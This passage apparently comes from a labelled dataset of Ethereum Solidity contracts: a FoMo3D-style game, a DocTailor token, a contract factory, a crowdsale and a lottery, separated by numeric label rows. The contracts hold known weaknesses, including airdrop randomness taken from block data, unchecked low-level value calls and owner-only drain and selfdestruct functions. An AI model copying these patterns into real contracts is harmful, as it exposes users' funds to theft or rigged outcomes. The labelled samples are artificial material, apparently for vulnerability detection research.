uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000);
if (_dust > 0)
{
_gen = _gen.sub(_dust);
_res = _res.add(_dust);
}
plyr_[_winPID].win = _win.add(plyr_[_winPID].win);
_com = _com.add(_p3d.sub(_p3d / 2));
admin.transfer(_com);
_res = _res.add(_p3d / 2);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
_eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000);
_eventData_.winnerAddr = plyr_[_winPID].addr;
_eventData_.winnerName = plyr_[_winPID].name;
_eventData_.amountWon = _win;
_eventData_.genAmount = _gen;
_eventData_.P3DAmount = _p3d;
_eventData_.newPot = _res;
rID_++;
_rID++;
round_[_rID].strt = now;
round_[_rID].end = now.add(rndInit_).add(rndGap_);
round_[_rID].pot = _res;
return(_eventData_);
}
function updateGenVault(uint256 _pID, uint256 _rIDlast)
private
{
uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast);
if (_earnings > 0)
{
plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen);
plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask);
}
}
function updateTimer(uint256 _keys, uint256 _rID)
private
{
uint256 _now = now;
uint256 _newTime;
if (_now > round_[_rID].end && round_[_rID].plyr == 0)
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now);
else
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end);
if (_newTime < (rndMax_).add(_now))
round_[_rID].end = _newTime;
else
round_[_rID].end = rndMax_.add(_now);
}
function airdrop()
private
view
returns(bool)
{
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
(block.number)
)));
if((seed - ((seed / 1000) * 1000)) < airDropTracker_)
return(true);
else
return(false);
}
function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
uint256 _p1 = _eth / 100;
uint256 _com = _eth / 50;
_com = _com.add(_p1);
uint256 _p3d;
if (!address(admin).call.value(_com)())
{
_p3d = _com;
_com = 0;
}
uint256 _aff = _eth / 10;
if (_affID != _pID && plyr_[_affID].name != '') {
plyr_[_affID].aff = _aff.add(plyr_[_affID].aff);
emit F3Devents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now);
} else {
_p3d = _p3d.add(_aff);
}
_p3d = _p3d.add((_eth.mul(fees_[_team].p3d)) / (100));
if (_p3d > 0)
{
uint256 _potAmount = _p3d / 2;
admin.transfer(_p3d.sub(_potAmount));
round_[_rID].pot = round_[_rID].pot.add(_potAmount);
_eventData_.P3DAmount = _p3d.add(_eventData_.P3DAmount);
}
return(_eventData_);
}
function potSwap()
external
payable
{
uint256 _rID = rID_ + 1;
round_[_rID].pot = round_[_rID].pot.add(msg.value);
emit F3Devents.onPotSwapDeposit(_rID, msg.value);
}
function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100;
uint256 _air = (_eth / 100);
airDropPot_ = airDropPot_.add(_air);
_eth = _eth.sub(((_eth.mul(14)) / 100).add((_eth.mul(fees_[_team].p3d)) / 100));
uint256 _pot = _eth.sub(_gen);
uint256 _dust = updateMasks(_rID, _pID, _gen, _keys);
if (_dust > 0)
_gen = _gen.sub(_dust);
round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot);
_eventData_.genAmount = _gen.add(_eventData_.genAmount);
_eventData_.potAmount = _pot;
return(_eventData_);
}
function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys)
private
returns(uint256)
{
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000);
plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask);
return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000)));
}
function withdrawEarnings(uint256 _pID)
private
returns(uint256)
{
updateGenVault(_pID, plyr_[_pID].lrnd);
uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff);
if (_earnings > 0)
{
plyr_[_pID].win = 0;
plyr_[_pID].gen = 0;
plyr_[_pID].aff = 0;
}
return(_earnings);
}
function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
{
_eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000);
emit F3Devents.onEndTx
(
_eventData_.compressedData,
_eventData_.compressedIDs,
plyr_[_pID].name,
msg.sender,
_eth,
_keys,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount,
_eventData_.potAmount,
airDropPot_
);
}
bool public activated_ = false;
function activate()
public
{
require(activated_ == false, "FOMO Short already activated");
activated_ = true;
rID_ = 1;
round_[1].strt = now + rndExtra_ - rndGap_;
round_[1].end = now + rndInit_ + rndExtra_;
}
}
library F3Ddatasets {
struct EventReturns {
uint256 compressedData;
uint256 compressedIDs;
address winnerAddr;
bytes32 winnerName;
uint256 amountWon;
uint256 newPot;
uint256 P3DAmount;
uint256 genAmount;
uint256 potAmount;
}
struct Player {
address addr;
bytes32 name;
uint256 win;
uint256 gen;
uint256 aff;
uint256 lrnd;
uint256 laff;
}
struct PlayerRounds {
uint256 eth;
uint256 keys;
uint256 mask;
uint256 ico;
}
struct Round {
uint256 plyr;
uint256 team;
uint256 end;
bool ended;
uint256 strt;
uint256 keys;
uint256 eth;
uint256 pot;
uint256 mask;
uint256 ico;
uint256 icoGen;
uint256 icoAvg;
}
struct TeamFee {
uint256 gen;
uint256 p3d;
}
struct PotSplit {
uint256 gen;
uint256 p3d;
}
}
library F3DKeysCalcShort {
using SafeMath for *;
function keysRec(uint256 _curEth, uint256 _newEth)
internal
pure
returns (uint256)
{
return(keys((_curEth).add(_newEth)).sub(keys(_curEth)));
}
function ethRec(uint256 _curKeys, uint256 _sellKeys)
internal
pure
returns (uint256)
{
return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys))));
}
function keys(uint256 _eth)
internal
pure
returns(uint256)
{
return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000);
}
function eth(uint256 _keys)
internal
pure
returns(uint256)
{
return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq());
}
}
interface PlayerBookInterface {
function getPlayerID(address _addr) external returns (uint256);
function getPlayerName(uint256 _pID) external view returns (bytes32);
function getPlayerLAff(uint256 _pID) external view returns (uint256);
function getPlayerAddr(uint256 _pID) external view returns (address);
function getNameFee() external view returns (uint256);
function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256);
}
library NameFilter {
function nameFilter(string _input)
internal
pure
returns(bytes32)
{
bytes memory _temp = bytes(_input);
uint256 _length = _temp.length;
require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters");
require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space");
if (_temp[0] == 0x30)
{
require(_temp[1] != 0x78, "string cannot start with 0x");
require(_temp[1] != 0x58, "string cannot start with 0X");
}
bool _hasNonNumber;
for (uint256 i = 0; i < _length; i++)
{
if (_temp[i] > 0x40 && _temp[i] < 0x5b)
{
_temp[i] = byte(uint(_temp[i]) + 32);
if (_hasNonNumber == false)
_hasNonNumber = true;
} else {
require
(
_temp[i] == 0x20 ||
(_temp[i] > 0x60 && _temp[i] < 0x7b) ||
(_temp[i] > 0x2f && _temp[i] < 0x3a),
"string contains invalid characters"
);
if (_temp[i] == 0x20)
require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces");
if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39))
_hasNonNumber = true;
}
}
require(_hasNonNumber == true, "string cannot be only numbers");
bytes32 _ret;
assembly {
_ret := mload(add(_temp, 32))
}
return (_ret);
}
}
library SafeMath {
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
function pwr(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
if (x==0)
return (0);
else if (y==0)
return (1);
else
{
uint256 z = x;
for (uint256 i=1; i < y; i++)
z = mul(z,x);
return (z);
}
}
} | 0 | 1,879 |
pragma solidity ^0.5.0;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address payable public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address payable _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address payable _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract Claimable is Ownable {
address payable public pendingOwner;
modifier onlyPendingOwner() {
require(msg.sender == pendingOwner);
_;
}
function transferOwnership(address payable newOwner) onlyOwner public {
pendingOwner = newOwner;
}
function claimOwnership() onlyPendingOwner public {
emit OwnershipTransferred(owner, pendingOwner);
owner = pendingOwner;
pendingOwner = address(0);
}
}
contract HasNoEther is Ownable {
constructor() public payable {
require(msg.value == 0);
}
function() external {
}
function reclaimEther() external onlyOwner {
owner.transfer(address(this).balance);
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeERC20 {
function safeTransfer(ERC20Basic token, address to, uint256 value) internal {
require(token.transfer(to, value));
}
function safeTransferFrom(
ERC20 token,
address from,
address to,
uint256 value
)
internal
{
require(token.transferFrom(from, to, value));
}
function safeApprove(ERC20 token, address spender, uint256 value) internal {
require(token.approve(spender, value));
}
}
contract CanReclaimToken is Ownable {
using SafeERC20 for ERC20Basic;
function reclaimToken(ERC20Basic token) external onlyOwner {
uint256 balance = token.balanceOf(address(this));
token.safeTransfer(owner, balance);
}
}
contract HasNoTokens is CanReclaimToken {
function tokenFallback(address from_, uint256 value_, bytes calldata data_) pure external {
from_;
value_;
data_;
revert();
}
}
contract HasNoContracts is Ownable {
function reclaimContract(address contractAddr) external onlyOwner {
Ownable contractInst = Ownable(contractAddr);
contractInst.transferOwnership(owner);
}
}
contract NoOwner is HasNoEther, HasNoTokens, HasNoContracts {
}
contract Destructible is Ownable {
constructor() public payable { }
function destroy() onlyOwner public {
selfdestruct(owner);
}
function destroyAndSend(address payable _recipient) onlyOwner public {
selfdestruct(_recipient);
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint256 _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint256 _subtractedValue
)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract DOCTToken is StandardToken, NoOwner, Claimable {
string public symbol = 'DOCT';
string public name = 'DocTailor';
uint8 public constant decimals = 8;
uint256 constant TOTAL_SUPPLY = 500_000_000_000 * (10 ** uint256(decimals));
bool public transferEnabled = true;
modifier canTransfer() {
require( transferEnabled || msg.sender == owner);
_;
}
constructor() public {
totalSupply_ = TOTAL_SUPPLY;
balances[owner] = totalSupply_;
emit Transfer(address(0), owner, totalSupply_);
}
function setTransferEnabled(bool enable) onlyOwner public {
transferEnabled = enable;
}
function transfer(address _to, uint256 _value) canTransfer public returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) canTransfer public returns (bool) {
return super.transferFrom(_from, _to, _value);
}
} | 1 | 4,275 |
pragma solidity ^0.4.13;
contract Ownable {
address public owner;
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
contract Destructible is Ownable {
function Destructible() payable { }
function destroy() onlyOwner {
selfdestruct(owner);
}
function destroyAndSend(address _recipient) onlyOwner {
selfdestruct(_recipient);
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract PullPayment {
using SafeMath for uint256;
mapping(address => uint256) public payments;
uint256 public totalPayments;
function asyncSend(address dest, uint256 amount) internal {
payments[dest] = payments[dest].add(amount);
totalPayments = totalPayments.add(amount);
}
function withdrawPayments() {
address payee = msg.sender;
uint256 payment = payments[payee];
require(payment != 0);
require(this.balance >= payment);
totalPayments = totalPayments.sub(payment);
payments[payee] = 0;
assert(payee.send(payment));
}
}
contract Generatable{
function generate(
address token,
address contractOwner,
uint256 cycle
) public returns(address);
}
contract ERC20 {
function decimals() public view returns (uint8);
function totalSupply() public view returns (uint256);
function balanceOf(address _who) public view returns (uint256);
function allowance(address _owner, address _spender)
public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
function approve(address _spender, uint256 _value)
public returns (bool);
function transferFrom(address _from, address _to, uint256 _value)
public returns (bool);
event Transfer(
address indexed from,
address indexed to,
uint256 value
);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeERC20 {
function safeTransfer(
ERC20 _token,
address _to,
uint256 _value
)
internal
{
require(_token.transfer(_to, _value));
}
function safeTransferFrom(
ERC20 _token,
address _from,
address _to,
uint256 _value
)
internal
{
require(_token.transferFrom(_from, _to, _value));
}
function safeApprove(
ERC20 _token,
address _spender,
uint256 _value
)
internal
{
require(_token.approve(_spender, _value));
}
}
contract ContractFactory is Destructible,PullPayment{
using SafeERC20 for ERC20;
uint256 public diviRate;
uint256 public developerTemplateAmountLimit;
address public platformWithdrawAccount;
struct userContract{
uint256 templateId;
uint256 orderid;
address contractAddress;
uint256 incomeDistribution;
uint256 creattime;
uint256 endtime;
}
struct contractTemplate{
string templateName;
address contractGeneratorAddress;
string abiStr;
uint256 startTime;
uint256 endTime;
uint256 startUp;
uint256 profit;
uint256 quota;
uint256 cycle;
address token;
}
mapping(address => userContract[]) public userContractsMap;
mapping(uint256 => contractTemplate) public contractTemplateAddresses;
mapping(uint256 => uint256) public skipMap;
event ContractCreated(address indexed creator,uint256 templateId,uint256 orderid,address contractAddress);
event ContractTemplatePublished(uint256 indexed templateId,address creator,string templateName,address contractGeneratorAddress);
event Log(address data);
event yeLog(uint256 balanceof);
function ContractFactory(){
diviRate=5;
platformWithdrawAccount=0x4b533502d8c4a11c7e7de42b89d8e3833ebf6aeb;
developerTemplateAmountLimit=500000000000000000;
}
function generateContract(uint256 templateId,uint256 orderid) public returns(address){
contractTemplate storage ct = contractTemplateAddresses[templateId];
if(ct.contractGeneratorAddress!=0x0){
address contractTemplateAddress = ct.contractGeneratorAddress;
string templateName = ct.templateName;
require(block.timestamp >= ct.startTime);
require(block.timestamp <= ct.endTime);
Generatable generator = Generatable(contractTemplateAddress);
address target = generator.generate(ct.token,msg.sender,ct.cycle);
userContract[] storage userContracts = userContractsMap[msg.sender];
userContracts.push(userContract(templateId,orderid,target,1,now,now.add(uint256(1 days))));
ContractCreated(msg.sender,templateId,orderid,target);
return target;
}else{
revert();
}
}
function returnOfIncome(address user,uint256 _index) public{
require(msg.sender == user);
userContract[] storage ucs = userContractsMap[user];
if(ucs[_index].contractAddress!=0x0 && ucs[_index].incomeDistribution == 1){
contractTemplate storage ct = contractTemplateAddresses[ucs[_index].templateId];
if(ct.contractGeneratorAddress!=0x0){
if(now > ucs[_index].creattime.add(uint256(1 days))){
revert();
}
ERC20 token = ERC20(ct.token);
uint256 balanceof = token.balanceOf(ucs[_index].contractAddress);
uint256 decimals = token.decimals();
if(now < ct.startTime.add(uint256(10 days))){
if(balanceof < ct.startUp.sub(10000).mul(10**uint256(decimals))){
revert();
}
} else {
if(balanceof < ct.startUp.mul(10**uint256(decimals))){
revert();
}
}
uint256 income = ct.profit.mul(ct.cycle).mul(balanceof).div(36000);
if(!token.transfer(ucs[_index].contractAddress,income)){
revert();
} else {
ucs[_index].incomeDistribution = 2;
}
if(now < ct.startTime.add(uint256(10 days))){
uint256 incomes = balanceof.div(10);
if(!token.transfer(ucs[_index].contractAddress,incomes)){
revert();
}
}
}else{
revert();
}
}else{
revert();
}
}
function publishContractTemplate(
uint256 templateId,
string _templateName,
address _contractGeneratorAddress,
string _abiStr,
uint256 _startTime,
uint256 _endTime,
uint256 _profit,
uint256 _startUp,
uint256 _quota,
uint256 _cycle,
address _token
)
public
{
if(msg.sender!=owner){
revert();
}
contractTemplate storage ct = contractTemplateAddresses[templateId];
if(ct.contractGeneratorAddress!=0x0){
revert();
}else{
ct.templateName = _templateName;
ct.contractGeneratorAddress = _contractGeneratorAddress;
ct.abiStr = _abiStr;
ct.startTime = _startTime;
ct.endTime = _endTime;
ct.startUp = _startUp;
ct.profit = _profit;
ct.quota = _quota;
ct.cycle = _cycle;
ct.token = _token;
ContractTemplatePublished(templateId,msg.sender,_templateName,_contractGeneratorAddress);
}
}
function putforward(
address _token,
address _value
)
public
{
if(msg.sender!=owner){
revert();
}
ERC20 token = ERC20(_token);
uint256 balanceof = token.balanceOf(address(this));
if(!token.transfer(_value,balanceof)){
revert();
}
}
function queryPublishedContractTemplate(
uint256 templateId
)
public
constant
returns(
string,
address,
string,
uint256,
uint256,
uint256,
uint256,
uint256,
uint256,
address
) {
contractTemplate storage ct = contractTemplateAddresses[templateId];
if(ct.contractGeneratorAddress!=0x0){
return (
ct.templateName,
ct.contractGeneratorAddress,
ct.abiStr,
ct.startTime,
ct.endTime,
ct.profit,
ct.startUp,
ct.quota,
ct.cycle,
ct.token
);
}else{
return ('',0x0,'',0,0,0,0,0,0,0x0);
}
}
function queryUserContract(address user,uint256 _index) public constant returns(
uint256,
uint256,
address,
uint256,
uint256,
uint256
){
userContract[] storage ucs = userContractsMap[user];
contractTemplate storage ct = contractTemplateAddresses[ucs[_index].templateId];
ERC20 tokens = ERC20(ct.token);
uint256 balanceofs = tokens.balanceOf(ucs[_index].contractAddress);
return (
ucs[_index].templateId,
ucs[_index].orderid,
ucs[_index].contractAddress,
ucs[_index].incomeDistribution,
ucs[_index].endtime,
balanceofs
);
}
function queryUserContractCount(address user) public constant returns (uint256){
userContract[] storage ucs = userContractsMap[user];
return ucs.length;
}
function changeDiviRate(uint256 _diviRate) external onlyOwner(){
diviRate=_diviRate;
}
function changePlatformWithdrawAccount(address _platformWithdrawAccount) external onlyOwner(){
platformWithdrawAccount=_platformWithdrawAccount;
}
function changeDeveloperTemplateAmountLimit(uint256 _developerTemplateAmountLimit) external onlyOwner(){
developerTemplateAmountLimit=_developerTemplateAmountLimit;
}
function addSkipPrice(uint256 price) external onlyOwner(){
skipMap[price]=1;
}
function removeSkipPrice(uint256 price) external onlyOwner(){
skipMap[price]=0;
}
} | 0 | 1,203 |
pragma solidity ^0.4.11;
contract token { function transfer(address receiver, uint amount);
function balanceOf(address addr);
}
contract CrowdSale {
enum State {
Fundraising,
Successful
}
State public state = State.Fundraising;
mapping (address => uint) balances;
address[] contributors;
uint public totalRaised;
uint public currentBalance;
uint public deadline;
uint public completedAt;
token public tokenReward;
address public creator;
address public beneficiary;
string campaignUrl;
uint constant version = 1;
event LogFundingReceived(address addr, uint amount, uint currentTotal);
event LogWinnerPaid(address winnerAddress);
event LogFundingSuccessful(uint totalRaised);
event LogFunderInitialized(
address creator,
address beneficiary,
string url,
uint256 deadline);
event LogContributorsContributed(address addr, uint amount, uint id);
event LogContributorsPayout(address addr, uint amount);
modifier inState(State _state) {
if (state != _state) revert();
_;
}
modifier isCreator() {
if (msg.sender != creator) revert();
_;
}
modifier atEndOfLifecycle() {
if(!(state == State.Successful && completedAt + 1 hours < now)) {
revert();
}
_;
}
function CrowdSale(
uint _timeInMinutesForFundraising,
string _campaignUrl,
address _ifSuccessfulSendTo,
token _addressOfTokenUsedAsReward)
{
creator = msg.sender;
beneficiary = _ifSuccessfulSendTo;
campaignUrl = _campaignUrl;
deadline = now + (_timeInMinutesForFundraising * 1 minutes);
currentBalance = 0;
tokenReward = token(_addressOfTokenUsedAsReward);
LogFunderInitialized(
creator,
beneficiary,
campaignUrl,
deadline);
}
function contribute()
public
inState(State.Fundraising) payable returns (uint256)
{
uint id;
if(contributors.length == 0){
contributors.push(msg.sender);
id=0;
}
else{
for(uint i = 0; i < contributors.length; i++)
{
if(contributors[i]==msg.sender)
{
id = i;
break;
}
else if(i == contributors.length - 1)
{
contributors.push(msg.sender);
id = i+1;
}
}
}
balances[msg.sender]+=msg.value;
totalRaised += msg.value;
currentBalance = totalRaised;
LogContributorsContributed (msg.sender, balances[msg.sender], id);
LogFundingReceived(msg.sender, msg.value, totalRaised);
checkIfFundingCompleteOrExpired();
return contributors.length - 1;
}
function checkIfFundingCompleteOrExpired() {
if ( now > deadline ) {
state = State.Successful;
LogFundingSuccessful(totalRaised);
finished();
completedAt = now;
}
}
function payOut()
public
inState(State.Successful)
{
if (msg.sender == creator){
if(!beneficiary.send(this.balance)) {
revert();
}
currentBalance = 0;
LogWinnerPaid(beneficiary);
}
else
{
uint amount = 0;
address add;
for(uint i=0; i<contributors.length ;i++){
if (contributors[i]==msg.sender){
add = contributors[i];
amount = balances[add]*9000000/totalRaised;
balances[add] = 0;
tokenReward.transfer(add, amount);
LogContributorsPayout(add, amount);
amount = 0;
}
}
}
}
function finished()
inState(State.Successful)
{
if(!beneficiary.send(this.balance)) {
revert();
}
currentBalance = 0;
LogWinnerPaid(beneficiary);
}
function removeContract()
public
isCreator()
atEndOfLifecycle()
{
selfdestruct(msg.sender);
}
function () payable {
if (msg.value > 0){
contribute();
}
else revert();
}
} | 0 | 1,990 |
pragma solidity ^0.4.15;
contract BTCRelay {
function getLastBlockHeight() public returns (int);
function getBlockchainHead() public returns (int);
function getFeeAmount(int blockHash) public returns (int);
function getBlockHeader(int blockHash) public returns (bytes32[5]);
function storeBlockHeader(bytes blockHeader) public returns (int);
}
contract Escrow {
function deposit(address recipient) payable;
}
contract AffiliateNetwork {
function affiliateAddresses(uint code) returns (address);
}
contract EthereumLottery {
uint constant GAS_LIMIT_DEPOSIT = 300000;
uint constant GAS_LIMIT_AFFILIATE = 35000;
struct Lottery {
uint jackpot;
int decidingBlock;
uint numTickets;
uint numTicketsSold;
uint ticketPrice;
uint affiliateCut;
int winningTicket;
address winner;
uint finalizationBlock;
address finalizer;
string message;
mapping (uint => address) tickets;
int nearestKnownBlock;
int nearestKnownBlockHash;
}
address public owner;
address public admin;
address public proposedOwner;
int public id = -1;
uint public lastInitTimestamp;
uint public lastSaleTimestamp;
uint public recentActivityIdx;
uint[1000] public recentActivity;
mapping (int => Lottery) public lotteries;
address public btcRelay;
address public escrow;
address public affiliateNetwork;
enum Reason { TicketSaleClosed, TicketAlreadySold }
event PurchaseFailed(address indexed buyer, uint mark, Reason reason);
event PurchaseSuccessful(address indexed buyer, uint mark);
modifier onlyOwner {
require(msg.sender == owner);
_;
}
modifier onlyAdminOrOwner {
require(msg.sender == owner || msg.sender == admin);
_;
}
modifier afterInitialization {
require(id >= 0);
_;
}
function EthereumLottery(address _btcRelay,
address _escrow,
address _affiliateNetwork) {
owner = msg.sender;
admin = msg.sender;
btcRelay = _btcRelay;
escrow = _escrow;
affiliateNetwork = _affiliateNetwork;
}
function needsInitialization() constant returns (bool) {
return id == -1 || lotteries[id].finalizationBlock > 0;
}
function initLottery(uint _jackpot, uint _numTickets, uint _ticketPrice)
onlyAdminOrOwner {
require(needsInitialization());
require(_numTickets * _ticketPrice > _jackpot);
id += 1;
lotteries[id].jackpot = _jackpot;
lotteries[id].decidingBlock = -1;
lotteries[id].numTickets = _numTickets;
lotteries[id].ticketPrice = _ticketPrice;
lotteries[id].winningTicket = -1;
uint affiliateCut = (_ticketPrice - (_jackpot / _numTickets)) / 2;
lotteries[id].affiliateCut = affiliateCut;
lastInitTimestamp = block.timestamp;
lastSaleTimestamp = 0;
}
function buyTickets(uint[] _tickets, uint _mark, uint _affiliate)
payable afterInitialization {
if (lotteries[id].numTicketsSold == lotteries[id].numTickets) {
PurchaseFailed(msg.sender, _mark, Reason.TicketSaleClosed);
msg.sender.transfer(msg.value);
return;
}
require(_tickets.length > 0);
require(msg.value == _tickets.length * lotteries[id].ticketPrice);
for (uint i = 0; i < _tickets.length; i++) {
uint ticket = _tickets[i];
require(ticket >= 0);
require(ticket < lotteries[id].numTickets);
if (lotteries[id].tickets[ticket] != 0) {
PurchaseFailed(msg.sender, _mark, Reason.TicketAlreadySold);
msg.sender.transfer(msg.value);
return;
}
}
for (i = 0; i < _tickets.length; i++) {
ticket = _tickets[i];
lotteries[id].tickets[ticket] = msg.sender;
recentActivity[recentActivityIdx] = ticket;
recentActivityIdx += 1;
if (recentActivityIdx >= recentActivity.length) {
recentActivityIdx = 0;
}
}
lotteries[id].numTicketsSold += _tickets.length;
lastSaleTimestamp = block.timestamp;
address affiliateAddress =
AffiliateNetwork(affiliateNetwork).affiliateAddresses(_affiliate);
if (affiliateAddress != 0) {
uint cut = lotteries[id].affiliateCut * _tickets.length;
var _ = affiliateAddress.call.gas(GAS_LIMIT_AFFILIATE).value(cut)();
}
PurchaseSuccessful(msg.sender, _mark);
}
function needsBlockFinalization()
afterInitialization constant returns (bool) {
uint btcTimestamp;
int blockHash = BTCRelay(btcRelay).getBlockchainHead();
(,btcTimestamp) = getBlockHeader(blockHash);
uint delta = 0;
if (btcTimestamp < block.timestamp) {
